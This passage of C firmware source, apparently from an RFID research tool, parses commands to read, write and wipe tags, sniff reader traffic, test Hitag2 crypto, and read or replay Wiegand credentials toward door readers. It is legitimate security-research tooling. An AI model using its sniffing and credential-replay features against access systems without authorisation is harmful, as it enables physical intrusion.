else\r\n           commandok= command_nack(\"Invalid parameter!\");\r\n    }\r\n\r\n    if (strncmp(command, \"POTSETNV \", 9) == 0)\r\n    {\r\n        if(sscanf(command + 9,\"%c %d\", &tmpc, &tmpint1) == 2 && tmpc == 'H' || tmpc == 'L')\r\n        {\r\n            if(!set_mcp414_wiper(tmpc == 'H' ? WIPER_HIGH : WIPER_LOW, NON_VOLATILE, tmpint1, local_tmp))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"POT set failed!\");\r\n        }\r\n        else\r\n           commandok= command_nack(\"Invalid parameter!\");\r\n    }\r\n\r\n    if (strncmp(command, \"POTSETV \", 8) == 0)\r\n    {\r\n        if(sscanf(command + 8,\"%c %lf\", &tmpc, &tmpfloat) == 2 && tmpc == 'H' || tmpc == 'L')\r\n        {\r\n            tmpint1= (int) (tmpfloat / VOLTS_TO_POT);\r\n            if(!set_mcp414_wiper(tmpc == 'H' ? WIPER_HIGH : WIPER_LOW, VOLATILE, tmpint1, local_tmp))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"POT set failed!\");\r\n        }\r\n        else\r\n           commandok= command_nack(\"Invalid parameter!\");\r\n    }\r\n\r\n    if (strncmp(command, \"PSK1 \", 5) == 0)\r\n    {\r\n        if(sscanf(command + 5,\"%s %ld %u %u %u\", local_tmp, &tmplong, &tmpint, &tmpint1, &tmpint2) == 5)\r\n        {\r\n            if(send_psk1_hex(local_tmp, tmplong, tmpint, tmpint1, tmpint2))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Send failed!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if (strncmp(command, \"PWM \", 4) == 0)\r\n    {\r\n        if(sscanf(command + 4,\"%u %u %u %u %u %u %u %u\", &tmpint, &tmpint1, &tmpint2, &tmpint3, &tmpint4, &tmpint5, &tmpint6, &tmpint7) == 8)\r\n        {\r\n            rwd_set_pwm(tmpint, tmpint1, tmpint2, tmpint3, tmpint4, tmpint5, tmpint6, tmpint7);\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if (strncmp(command, \"READ \", 5) == 0)\r\n    {\r\n        if((tmpint2= sscanf(command + 5,\"%u %u\", &tmpint, &tmpint1)) && tmpint2 == 1 || tmpint2 == 2)\r\n        {\r\n            // only start block specified, so default to read 1 block\r\n            if(tmpint2 == 1)\r\n               tmpint1=  tmpint;\r\n\r\n            if(RFIDlerConfig.TagType != RFIDlerVTag.TagType)\r\n                commandok= command_nack(\"VTag not compatible!\");\r\n            else\r\n            {\r\n            if(tmpint > RFIDlerConfig.DataBlocks - 1 || tmpint1 > RFIDlerConfig.DataBlocks - 1)\r\n                commandok= command_nack(\"Invalid block number(s)!\");\r\n            else\r\n                // read and view data\r\n                if(!read_tag(&RFIDlerVTag.Data[tmpint * HEXDIGITS(RFIDlerVTag.BlockSize)], tmpint, tmpint1))\r\n                    commandok= command_nack(\"Read failed!\");\r\n                else\r\n                {\r\n                    commandok= command_ack(DATA);\r\n                    local_tmp[HEXDIGITS(RFIDlerConfig.BlockSize)]= '\\0';\r\n                    for(i= tmpint ; i <= tmpint1 ; ++i)\r\n                    {\r\n                        UserMessageNum(\"%d: \", i);\r\n                        memcpy(local_tmp, RFIDlerVTag.Data + i * HEXDIGITS(RFIDlerConfig.BlockSize), HEXDIGITS(RFIDlerConfig.BlockSize));\r\n                        UserMessage(\"%s\\r\\n\", local_tmp);\r\n                    }\r\n                    UserMessage(\"%s\", \"\\r\\n\");\r\n                }\r\n            }\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid block number(s)!\\r\\n\");\r\n    }\r\n\r\n    if(strcmp(command, \"READER\") == 0)\r\n    {\r\n        if(RFIDlerConfig.TagType == TAG_TYPE_NONE)\r\n            commandok= command_nack(\"TAG type not set!\");\r\n        else\r\n        {\r\n            commandok= command_ack(DATA);\r\n            while(!get_user_abort())\r\n            {\r\n                if(get_interpreted_tag_uid(DataBuff, RFIDlerConfig.TagType))\r\n                    UserMessage(\"%s\\r\\n\", DataBuff);\r\n                mLED_Comms_Toggle();\r\n            }\r\n            eod();\r\n            stop_HW_clock();\r\n        }\r\n    }\r\n\r\n    if (strcmp(command, \"REBOOT\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        Delay_us(1000000);\r\n        SoftReset();\r\n    }\r\n\r\n    if (strcmp(command, \"RTC\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        RTC_time.l= RtccGetTime();\r\n        RTC_date.l= RtccGetDate();\r\n        // note time/data is in BCD\r\n        sprintf(TmpBuff, \"%02x/%02x/%02x %02x:%02x:%02x\", RTC_date.year, RTC_date.mon, RTC_date.mday, RTC_time.hour, RTC_time.min, RTC_time.sec);\r\n        UserMessage(\"%s\\r\\n\", TmpBuff);\r\n    }\r\n\r\n    if (strncmp(command, \"RWD \", 4) == 0)\r\n    {\r\n        if(sscanf(command + 4,\"%s\", local_tmp) == 1)\r\n        {\r\n            if(rwd_send(local_tmp, strlen(local_tmp), RESET, BLOCK, RWD_STATE_START_SEND, RFIDlerConfig.FrameClock, RFIDlerConfig.RWD_Sleep_Period, RFIDlerConfig.RWD_Wake_Period, RFIDlerConfig.RWD_Zero_Period, RFIDlerConfig.RWD_One_Period, RFIDlerConfig.RWD_Gap_Period, 0))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Failed! PWM parameters not set or invalid data!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n\r\n    if (strcmp(command, \"SAVE\") == 0)\r\n    {\r\n        if(saveconfig())\r\n            commandok= command_ack(NO_DATA);\r\n        else\r\n            commandok= command_nack(\"Verify failed!\");\r\n    }\r\n\r\n    if (strncmp(command, \"SELECT\", 6) == 0)\r\n    {\r\n        // allow empty UID\r\n        local_tmp[0]= '\\0';\r\n        if(sscanf(command + 6, \"%s\", local_tmp, &tmpint) <= 1)\r\n        {\r\n            if(select_tag(DataBuff, local_tmp))\r\n            {\r\n                commandok= command_ack(DATA);\r\n                UserMessage(\"%s\\r\\n\", DataBuff);\r\n                eod();\r\n            }\r\n            else\r\n                commandok= command_nack(\"Select failed!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid parameters!\");\r\n    }\r\n    \r\n    if (strcmp(command, \"SET BIPHASE OFF\") == 0)\r\n    {\r\n        RFIDlerConfig.BiPhase= FALSE;\r\n        commandok= command_ack(NO_DATA);\r\n    }\r\n\r\n    if (strcmp(command, \"SET BIPHASE ON\") == 0)\r\n    {\r\n        RFIDlerConfig.BiPhase= TRUE;\r\n        RFIDlerConfig.Manchester= FALSE;\r\n        commandok= command_ack(NO_DATA);\r\n    }\r\n\r\n    if (strncmp(command, \"SET BITS \", 9) == 0)\r\n    {\r\n        if(sscanf(command + 9,\"%u\", &tmpint) == 1)\r\n        {\r\n            RFIDlerConfig.DataBits= tmpint;\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid data bits!\");\r\n    }\r\n\r\n    if (strncmp(command, \"SET FC \", 7) == 0)\r\n    {\r\n        if(sscanf(command + 7,\"%ld\", &tmplong) == 1)\r\n        {\r\n            RFIDlerConfig.FrameClock= tmplong;\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid FC period!\");\r\n    }\r\n\r\n    if (strcmp(command, \"SET INVERT OFF\") == 0)\r\n    {\r\n        RFIDlerConfig.Invert= FALSE;\r\n        commandok= command_ack(NO_DATA);\r\n    }\r\n\r\n    if (strcmp(command, \"SET INVERT ON\") == 0)\r\n    {\r\n        RFIDlerConfig.Invert= TRUE;\r\n        commandok= command_ack(NO_DATA);\r\n    }\r\n\r\n    if (strcmp(command, \"SET MANCHESTER OFF\") == 0)\r\n    {\r\n        RFIDlerConfig.Manchester= FALSE;\r\n        commandok= command_ack(NO_DATA);\r\n    }\r\n    \r\n    if (strcmp(command, \"SET MANCHESTER ON\") == 0)\r\n    {\r\n        RFIDlerConfig.Manchester= TRUE;\r\n        RFIDlerConfig.BiPhase= FALSE;\r\n        commandok= command_ack(NO_DATA);\r\n    }\r\n\r\n    if (strncmp(command, \"SET MOD \", 8) == 0)\r\n    {\r\n        if(strcmp(command + 8,\"ASK\") == 0)\r\n        {\r\n            RFIDlerConfig.Modulation= MOD_MODE_ASK_OOK;\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else if(strcmp(command + 8,\"FSK\") == 0)\r\n        {\r\n            RFIDlerConfig.Modulation= MOD_MODE_FSK1;\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else if(strcmp(command + 8,\"PSK1\") == 0)\r\n        {\r\n            RFIDlerConfig.Modulation= MOD_MODE_PSK1;\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Unknown modulation scheme!\");\r\n    }\r\n\r\n    if (strncmp(command, \"SET PSK \", 8) == 0)\r\n    {\r\n        if(sscanf(command + 8,\"%ld\", &tmplong) == 1)\r\n        {\r\n            RFIDlerConfig.PSK_Quality= tmplong;\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid data bits!\");\r\n    }\r\n\r\n    \r\n    if (strncmp(command, \"SET RATE \", 9) == 0)\r\n    {\r\n        if(sscanf(command + 9,\"%u\", &tmpint) == 1)\r\n        {\r\n            RFIDlerConfig.DataRate= tmpint;\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid data rate!\");\r\n    }\r\n\r\n    if (strncmp(command, \"SET REPEAT \", 11) == 0)\r\n    {\r\n        if(sscanf(command + 11,\"%u\", &tmpint) == 1)\r\n        {\r\n            RFIDlerConfig.Repeat= tmpint;\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid repetitions!\");\r\n    }\r\n\r\n    if (strncmp(command, \"SET SUB0 \", 9) == 0)\r\n    {\r\n        if(sscanf(command + 9,\"%u\", &tmpint) == 1)\r\n        {\r\n            RFIDlerConfig.DataRateSub0= tmpint;\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid data rate!\");\r\n    }\r\n\r\n    if (strncmp(command, \"SET SUB1 \", 9) == 0)\r\n    {\r\n        if(sscanf(command + 9,\"%u\", &tmpint) == 1)\r\n        {\r\n            RFIDlerConfig.DataRateSub1= tmpint;\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid data rate!\");\r\n    }\r\n\r\n    if (strncmp(command, \"SET SYNCBITS \", 13) == 0)\r\n    {\r\n        if(sscanf(command + 13,\"%u\", &tmpint) == 1)\r\n        {\r\n            RFIDlerConfig.SyncBits= (unsigned char) tmpint;\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid number of bits!\");\r\n    }\r\n    else\r\n        if (strncmp(command, \"SET SYNC\", 8) == 0)\r\n        {\r\n            if(sscanf(command + 8,\"%u %X\", &tmpint, &tmpint1) == 2 && tmpint >= 0 && tmpint <= 3)\r\n            {\r\n                RFIDlerConfig.Sync[tmpint]= (unsigned char) tmpint1;\r\n                commandok= command_ack(NO_DATA);\r\n            }\r\n            else\r\n                commandok= command_nack(\"Invalid sync byte!\");\r\n        }\r\n\r\n    if (strncmp(command, \"SET TAG \", 8) == 0)\r\n    {\r\n        if((tmpc= tag_get_type(command + 8)))\r\n        {\r\n            tag_set(tmpc);\r\n            commandok= command_ack(NO_DATA);\r\n        }\r\n        else\r\n            commandok= command_nack(\"Unknown TAG type!\");\r\n    }\r\n\r\n    if (strncmp(command, \"SET VTAG \", 9) == 0)\r\n    {\r\n        if(vtag_set_tag_type(command + 9))\r\n            commandok= command_ack(NO_DATA);\r\n        else\r\n            commandok= command_nack(\"Unknown TAG type!\");\r\n    }\r\n\r\n    if(strcmp(command, \"SNIFFER\") == 0)\r\n    {\r\n       commandok= command_ack(DATA);\r\n       UserMessage(\"%s\", \"Hit any key to stop sniffer\\r\\n\");\r\n       SnifferMode= TRUE;\r\n       while(!get_user_abort())\r\n            if(get_interpreted_tag_uid(DataBuff, RFIDlerConfig.TagType))\r\n                UserMessage(\"%s\\r\\n\", DataBuff);\r\n       eod();\r\n       stop_HW_clock();\r\n       SnifferMode= FALSE;\r\n    }\r\n\r\n    if (strncmp(command, \"SNIFF-PWM C\", 11) == 0)\r\n    {\r\n        hitag2_pwm_nvm_clear();\r\n        commandok= command_ack(NO_DATA);\r\n    } else if (strncmp(command, \"SNIFF-PWM L\", 11) == 0)\r\n    {\r\n        hitag2_pwm_display_nrars();\r\n        commandok= command_ack(NO_DATA);\r\n        eod();\r\n    } else if (strncmp(command, \"SNIFF-PWM S\", 11) == 0)\r\n    {\r\n        Sniffstore = 1;\r\n        sniff_pwm(12, 0, 100, 0);\r\n        commandok= command_ack(NO_DATA);\r\n        eod();\r\n    } else if (strncmp(command, \"SNIFF-PWM\", 9) == 0)\r\n    {\r\n        Sniffstore = 0;\r\n        tmpint= 0;\r\n        tmpint1= 0;\r\n        tmpint2= 0;\r\n        sscanf(command + 9, \" %d %d %d\", &tmpint, &tmpint1, &tmpint2);\r\n        commandok= command_ack(DATA);\r\n        UserMessage(\"%s\", \"Waiting for PWM (hit any key to abort/report)...\\r\\n\");\r\n        // NFC_MODE applies if there is a message gap\r\n        sniff_pwm(tmpint, tmpint1, tmpint2, tmpint2 ? NFC_MODE : NO_NFC_MODE);\r\n        eod();\r\n    }\r\n\r\n    if (strcmp(command, \"STOP\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        stop_HW_clock();\r\n    }\r\n\r\n    if (strcmp(command, \"TAGS\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        tag_list();\r\n        eod();\r\n    }\r\n\r\n    if(strcmp(command, \"TCONFIG\") == 0)\r\n    {\r\n        if(RFIDlerConfig.TagType == TAG_TYPE_NONE)\r\n            commandok= command_nack(\"Tag type not set!\");\r\n        else\r\n        {\r\n            if(!config_block_number(&tmpint, RFIDlerConfig.TagType))\r\n                commandok= command_nack(\"Not supported for this tag type!\");\r\n            else\r\n            {\r\n                if (get_config_block(local_tmp, RFIDlerConfig.TagType))\r\n                    {\r\n                        get_pw_block(local_tmp1, RFIDlerConfig.TagType);\r\n                        get_info_block(local_tmp2, RFIDlerConfig.TagType);\r\n                        commandok= command_ack(DATA);\r\n                        config_block_show(local_tmp, local_tmp1, local_tmp2, RFIDlerConfig.TagType);\r\n                        eod();\r\n                    }\r\n                else\r\n                    commandok= command_nack(\"Read failed!\");\r\n            }\r\n        }\r\n    }\r\n    \r\n    if (strcmp(command, \"TEST-HITAG\") == 0)\r\n    {\r\n        // exercise hitag crypto, init from serialnumber, key & IV & gen authenticator\r\n        unsigned long test;\r\n\r\n        commandok= command_ack(DATA);\r\n\r\n        UserMessage(\"%s\", \"\\r\\nbenchmark & verify Hitag 2 crypto implementation\");\r\n\r\n        test = hitag2_verifytest();\r\n        UserMessage(\"\\r\\nCrypto self test of correctness = %s\", test ? \"Pass\" : \"FAIL\");\r\n\r\n        test = hitag2_benchtest(1);\r\n        UserMessageNum(\"\\r\\nHitag 2 crypto, init + gen 32 bits - us: %ld\", test);\r\n\r\n        test = hitag2_benchtest_gen32();\r\n        UserMessageNum(\"\\r\\nHitag 2 crypto, gen new 32 bits only - us: %ld\", test);\r\n\r\n        test = hitag2_benchtest(1000);\r\n        UserMessageNum(\"\\r\\nHitag 2 crypto, init + gen 32 bits, x1000 - us: %ld\\r\\n\", test);\r\n\r\n        eod();\r\n    }\r\n\r\n    if (strncmp(command, \"TEST-RWD\", 8) == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        // allow null key/pwd\r\n        local_tmp[0]= '\\0';\r\n        sscanf(command + 8, \"%s\", local_tmp);\r\n        rwd_test(local_tmp);\r\n        eod();\r\n    }\r\n\r\n    if (strcmp(command, \"TEST-SC\") == 0)\r\n    {\r\n        if(SC_PowerOnATR())\r\n        {\r\n            commandok= command_ack(DATA);\r\n            UserMessage(\"%s\", \"ATR: \");\r\n            hexprintbinarray(scCardATR, scATRLength);\r\n            UserMessage(\"%s\", \"\\r\\n\");\r\n            eod();\r\n        }\r\n        else\r\n            commandok= command_nack(\"Failed!\");\r\n    }\r\n\r\n    if (strcmp(command, \"TEST-SD\") == 0)\r\n    {\r\n        // for automated test we don't want prompts or output - just pass/fail\r\n        if(sdcard_test((Interface == INTERFACE_API)))\r\n            commandok= command_ack(NO_DATA);\r\n        else\r\n            commandok= command_nack(\"Failed!\");\r\n    }\r\n\r\n    if (strcmp(command, \"TEST-TIMER\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        clock_test();\r\n        eod();\r\n\r\n    }\r\n\r\n    if (strcmp(command, \"TEST-WIEGAND\") == 0)\r\n    {\r\n        wiegand_set_pullups(FALSE);\r\n        if(wiegand_test())\r\n            commandok= command_ack(NO_DATA);\r\n        else\r\n            commandok= command_nack(\"Failed!\");\r\n    }\r\n\r\n    if (strncmp(command, \"TEST-WIEGAND-READ \", 18) == 0)\r\n    {\r\n        tmpint= 0;\r\n        if(sscanf(command + 18,\"%d\", &tmpint) <= 1 && tmpint >= 0 && tmpint <= 4)\r\n        {\r\n            commandok= command_ack(DATA);\r\n            if(! RFIDlerConfig.Wiegand_Pulse || ! RFIDlerConfig.Wiegand_Gap)\r\n                learn_wiegand((BYTE) tmpint);\r\n            else\r\n                read_wiegand((BYTE) tmpint);\r\n            UserMessage(\"Read: %s\\r\\n\", DataBuff);\r\n            DataBuff[0]= '\\0';\r\n            DataBuffCount= 0;\r\n            eod();\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid debug pin!\");\r\n    }\r\n\r\n    if (strncmp(command, \"TRESET\", 6) == 0)\r\n    {\r\n        if(RFIDlerConfig.TagType == TAG_TYPE_NONE)\r\n            commandok= command_nack(\"Tag type not set!\");\r\n        else\r\n        {\r\n            if(!config_block_number(&tmpint, RFIDlerConfig.TagType))\r\n                commandok= command_nack(\"Not supported for this tag type!\");\r\n            else\r\n            {\r\n                // allow empty password / block\r\n                local_tmp[0]= '\\0';\r\n                sscanf(command + 6, \" %s\", local_tmp);\r\n                if (tag_write_default_config(RFIDlerConfig.TagType, local_tmp))\r\n                    commandok= command_ack(NO_DATA);\r\n                else\r\n                    commandok= command_nack(\"Write failed!\");\r\n            }\r\n        }\r\n    }\r\n\r\n    if (strcmp(command, \"TRISTATE OFF\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        READER_CLOCK_ENABLE_OFF(LOW);\r\n    }\r\n\r\n    if (strcmp(command, \"TRISTATE ON\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        READER_CLOCK_ENABLE_ON();\r\n    }\r\n\r\n    if (strncmp(command, \"TWIPE\", 5) == 0)\r\n    {\r\n        if(RFIDlerConfig.TagType == TAG_TYPE_NONE)\r\n            commandok= command_nack(\"Tag type not set!\");\r\n        else\r\n        {\r\n            // allow empty password / block\r\n            local_tmp[0]= '\\0';\r\n            sscanf(command + 5, \" %s\", local_tmp);\r\n            if (tag_write_default_blocks(RFIDlerConfig.TagType, local_tmp))\r\n                commandok= command_ack(NO_DATA);\r\n            else\r\n                commandok= command_nack(\"Write failed!\");\r\n         }\r\n    }\r\n\r\n    if (strcmp(command, \"UID\") == 0)\r\n    {\r\n        if(RFIDlerConfig.TagType == TAG_TYPE_NONE)\r\n            commandok= command_nack(\"Set TAG type first!\");\r\n        else\r\n        {\r\n            if(get_interpreted_tag_uid(DataBuff, RFIDlerConfig.TagType))\r\n            {\r\n                commandok= command_ack(DATA);\r\n                UserMessage(\"%s\\r\\n\", DataBuff);\r\n                eod();\r\n            }\r\n            else\r\n                commandok= command_nack(\"read error!\");\r\n        }\r\n    }\r\n    \r\n    // version number is generated by pre-processor macro counting number of commits to git repo\r\n    // VERSION=`git rev-list HEAD --count`\r\n    // hardware revision is defined in\r\n    if (strcmp(command, \"VERSION\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n#ifdef RFIDLER_DEBUG\r\n        UserMessageNum(\"%04d-beta (debug)\\r\\n\", VERSION);\r\n#else\r\n        UserMessageNum(\"%04d-beta\\r\\n\", VERSION);\r\n#endif\r\n        eod();\r\n    }\r\n\r\n    if (strcmp(command, \"VTAG\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        vtag_dump();\r\n        eod();\r\n    }\r\n\r\n    if (strncmp(command, \"VWRITE \", 7) == 0)\r\n    {\r\n        if(sscanf(command + 7,\"%u %s\", &tmpint, local_tmp) == 2)\r\n        {\r\n            if(vtag_write_blocks(tmpint, local_tmp))\r\n            {\r\n                commandok= command_ack(DATA);\r\n                UserMessage(\"%s\\r\\n\", local_tmp);\r\n                eod();\r\n            }\r\n            else\r\n                commandok= command_nack(\"VTAG write failed!\");\r\n        }\r\n        else\r\n            commandok= command_nack(\"Invalid block number or no data!\");\r\n    }\r\n\r\n    // pinouts\r\n    if (strcmp(command, \"WIRING\") == 0 || strcmp(command, \"WIRES\") == 0 || strcmp(command, \"PINS\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        UserMessage(\"%s\", \"  === WIRING: PIC32 PIC32MX795F512L ===\\r\\n\");\r\n        UserMessage(\"%s\", \"  PIN NUMBER / NAME         FUNCTION                USE\\r\\n\");\r\n        UserMessage(\"%s\", \"  =====================================================\\r\\n\");\r\n        UserMessage(\"%s\", \"  13           _MCLR        RESET_BUTTON            Reset / VPP\\r\\n\");\r\n        UserMessage(\"%s\", \"  59           RA2          IC Frequency IN         Measure Inductance/Capacitance\\r\\n\");\r\n        UserMessage(\"%s\", \"  60           RA4          OR-IN-A                 Output from Schmitt trigger A\\r\\n\");\r\n        UserMessage(\"%s\", \"  61           RA5          OR-IN-B                 Output from Schmitt trigger B\\r\\n\");\r\n        UserMessage(\"%s\", \"  67           RA15         LED6                    User LED White\\r\\n\");\r\n        UserMessage(\"%s\", \"  66           RA14         RELAY                   Door Relay\\r\\n\");\r\n        UserMessage(\"%s\", \"  26           RB6/PGC      PGC                     Program Clock\\r\\n\");\r\n        UserMessage(\"%s\", \"  27           RB7/PGD2     PGD2                    Program Data 2\\r\\n\");\r\n        UserMessage(\"%s\", \"  33           RB9          S/C VCC                 ISO-7816 Smartcard VCC\\r\\n\");\r\n        UserMessage(\"%s\", \"  35           RB11/AN11    Analogue IN             Reader analogue data\\r\\n\");\r\n        UserMessage(\"%s\", \"  41           RB12/AN12    Analogue LOW IN         Voltage divider LOW analogue data\\r\\n\");\r\n        UserMessage(\"%s\", \"  42           RB13/AN13    Analogue HIGH IN        Voltage divider HIGH analogue data\\r\\n\");\r\n        UserMessage(\"%s\", \"  06           RC1          DEBUG1                  Logic Analyser Debug Pin 1\\r\\n\");\r\n        UserMessage(\"%s\", \"  07           RC2          DEBUG2                  Logic Analyser Debug Pin 2\\r\\n\");\r\n        UserMessage(\"%s\", \"  08           RC3          DEBUG3                  Logic Analyser Debug Pin 3\\r\\n\");\r\n        UserMessage(\"%s\", \"  09           RC4/SDI1     SD_CARD_RX              SPI RX for SD Card\\r\\n\");\r\n        UserMessage(\"%s\", \"  72           RD0/SDO1     SD_CARD_TX              SPI TX for SD Card\\r\\n\");\r\n        UserMessage(\"%s\", \"  76           RD1          S/C CLK                 ISO-7816 Smartcard Clock\\r\\n\");\r\n        UserMessage(\"%s\", \"  77           RD2          WIEGAND_1_OUT           Wiegand 1 / Clock & Data - Clock OUT\\r\\n\");\r\n        UserMessage(\"%s\", \"  78           RD3          WIEGAND_0_OUT           Wiegand 0 / Clock & Data - Data OUT\\r\\n\");\r\n        UserMessage(\"%s\", \"  81           RD4          READER-CLOCK            Reader COIL CLOCK\\r\\n\");\r\n        UserMessage(\"%s\", \"  82           RD5          WIEGAND_0_IN            Wiegand 0 / Clock & Data - Data IN\\r\\n\");\r\n        UserMessage(\"%s\", \"  83           RD6          WIEGAND_1_IN            Wiegand 1 / Clock & Data  - Clock IN\\r\\n\");\r\n        UserMessage(\"%s\", \"  68           RD8          READER-DATA             Reader COIL DATA\\r\\n\");\r\n        UserMessage(\"%s\", \"  69           RD9/_SS1     SD_CARD_SS              SPI Select SD Card\\r\\n\");\r\n        UserMessage(\"%s\", \"  70           RD10/SCK1    SD_CARD_CLK             SPI Clock for SD Card\\r\\n\");\r\n        UserMessage(\"%s\", \"  71           RD11         LED7                    Error LED Red\\r\\n\");\r\n        UserMessage(\"%s\", \"  79           RD12         CLOCK-SNIFF             Clock Sniff\\r\\n\");\r\n        UserMessage(\"%s\", \"  48           RD15         _POT_SHUTDOWN           Potentiometer power control\\r\\n\");\r\n        UserMessage(\"%s\", \"  93           RE0          LED4                    Emulate LED Red\\r\\n\");\r\n        UserMessage(\"%s\", \"  94           RE1          LED3                    Clock LED Yellow\\r\\n\");\r\n        UserMessage(\"%s\", \"  98           RE2          LED2                    Comms LED White\\r\\n\");\r\n        UserMessage(\"%s\", \"  99           RE3          LED1                    USB LED Green\\r\\n\");\r\n        UserMessage(\"%s\", \"  03           RE5          DEBUG4                  Logic Analyser Debug Pin 4\\r\\n\");\r\n        UserMessage(\"%s\", \"  04           RE6          USER_BUTTON             User defined button\\r\\n\");\r\n        UserMessage(\"%s\", \"  05           RE7          BOOTLOADER_BUTTON       Bootloader select button\\r\\n\");\r\n        UserMessage(\"%s\", \"  18           RE8          S/C RST                 ISO-7816 Smartcard Reset\\r\\n\");\r\n        UserMessage(\"%s\", \"  19           RE9          READER-CLOCK-ENABLE     Tri-State clock select\\r\\n\");\r\n        UserMessage(\"%s\", \"  87           RF0          SD_CARD_DET             SD Card Detect\\r\\n\");\r\n        UserMessage(\"%s\", \"  88           RF1          SD_CARD_WP              SD Card Write Protect (unused)\\r\\n\");\r\n        UserMessage(\"%s\", \"  52           RF2          S/C RX                  ISO-7816 Smartcard RX\\r\\n\");\r\n        UserMessage(\"%s\", \"  51           RF3/USBID    USBID                   USBID\\r\\n\");\r\n        UserMessage(\"%s\", \"  49           RF4/SDI4     SPI4 IN                 Potentiometer Data IN\\r\\n\");\r\n        UserMessage(\"%s\", \"  50           RF5/SDO4     SPI4 OUT                Potentiometer Data OUT\\r\\n\");\r\n        UserMessage(\"%s\", \"  53           RF8          S/C TX                  ISO-7816 Smartcard TX\\r\\n\");\r\n        UserMessage(\"%s\", \"  40           RF12/_SS4    _SPI4 SLAVE SELECT      Potentiometer Select\\r\\n\"); // potentiometer: MCP414X\r\n        UserMessage(\"%s\", \"  39           RF13/SCK4    SPI4 CLOCK              Potentiometer Clock\\r\\n\");\r\n        UserMessage(\"%s\", \"  57           RG2/D+       D+                      USB D+\\r\\n\");\r\n        UserMessage(\"%s\", \"  56           RG3/D-       D-                      USB D-\\r\\n\");\r\n        UserMessage(\"%s\", \"  10           RG6          LED5                    Read LED Green\\r\\n\");\r\n        UserMessage(\"%s\", \"  11           RG7/U3RX     CLI UART3 RX            UART CLI/API\\r\\n\");\r\n        UserMessage(\"%s\", \"  12           RG8/U3TX     CLI UART3 TX            UART CLI/API\\r\\n\");\r\n        UserMessage(\"%s\", \"  14           RG9          Emulation COIL          Emulation COIL\\r\\n\");\r\n        UserMessage(\"%s\", \"  54           VBUS         VBus                    USB VBus\\r\\n\");\r\n        eod();\r\n    }\r\n    \r\n    if (strcmp(command, \"WIEGAND-LEARN\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        UserMessage(\"%s\", \"Waiting for external Wiegand reader (hit any key to abort)...\\r\\n\");\r\n        learn_wiegand(NO_TRIGGER);\r\n        eod();\r\n    }\r\n\r\n    if (strcmp(command, \"WIEGAND-OUT OFF\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        wiegand_out_disable();\r\n    }\r\n\r\n    if (strcmp(command, \"WIEGAND-OUT ON\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        wiegand_out_enable();\r\n    }\r\n\r\n    if (strcmp(command, \"WIEGAND-READ\") == 0)\r\n    {\r\n        commandok= command_ack(DATA);\r\n        UserMessage(\"%s\", \"Waiting for external Wiegand reader (hit any key to abort)...\\r\\n\");\r\n        DataBuff[0]= '\\0';\r\n        if(! RFIDlerConfig.Wiegand_Pulse || ! RFIDlerConfig.Wiegand_Gap)\r\n            learn_wiegand(NO_TRIGGER);\r\n        else\r\n            read_wiegand(NO_TRIGGER);\r\n        UserMessage(\"Read: %s\\r\\n\", DataBuff);\r\n        DataBuff[0]= '\\0';\r\n        DataBuffCount= 0;\r\n        eod();\r\n    }\r\n\r\n    if (strncmp(command, \"WIEGAND-WRITE \", 14) == 0)\r\n    {\r\n        if(! RFIDlerConfig.Wiegand_Pulse || ! RFIDlerConfig.Wiegand_Gap)\r\n            commandok= command_nack(\"Wiegand parameters not set!\");\r\n        else\r\n        {\r\n            wiegand_out_enable();\r\n            if(sscanf(command + 14,\"%s\", local_tmp) == 1)\r\n            {\r\n                commandok= command_ack(NO_DATA);\r\n                write_wiegand(local_tmp);\r\n            }\r\n            else\r\n                commandok= command_nack(\"Invalid parameters!\");\r\n        }\r\n    }\r\n\r\n    if (strcmp(command, \"WIPE\") == 0)\r\n    {\r\n        commandok= command_ack(NO_DATA);\r\n        wipeconfig();\r\n    }\r\n\r\n    if (strncmp(command, \"WRITE \", 6) == 0)\r\n    {\r\n        if(sscanf(command + 6,\"%u 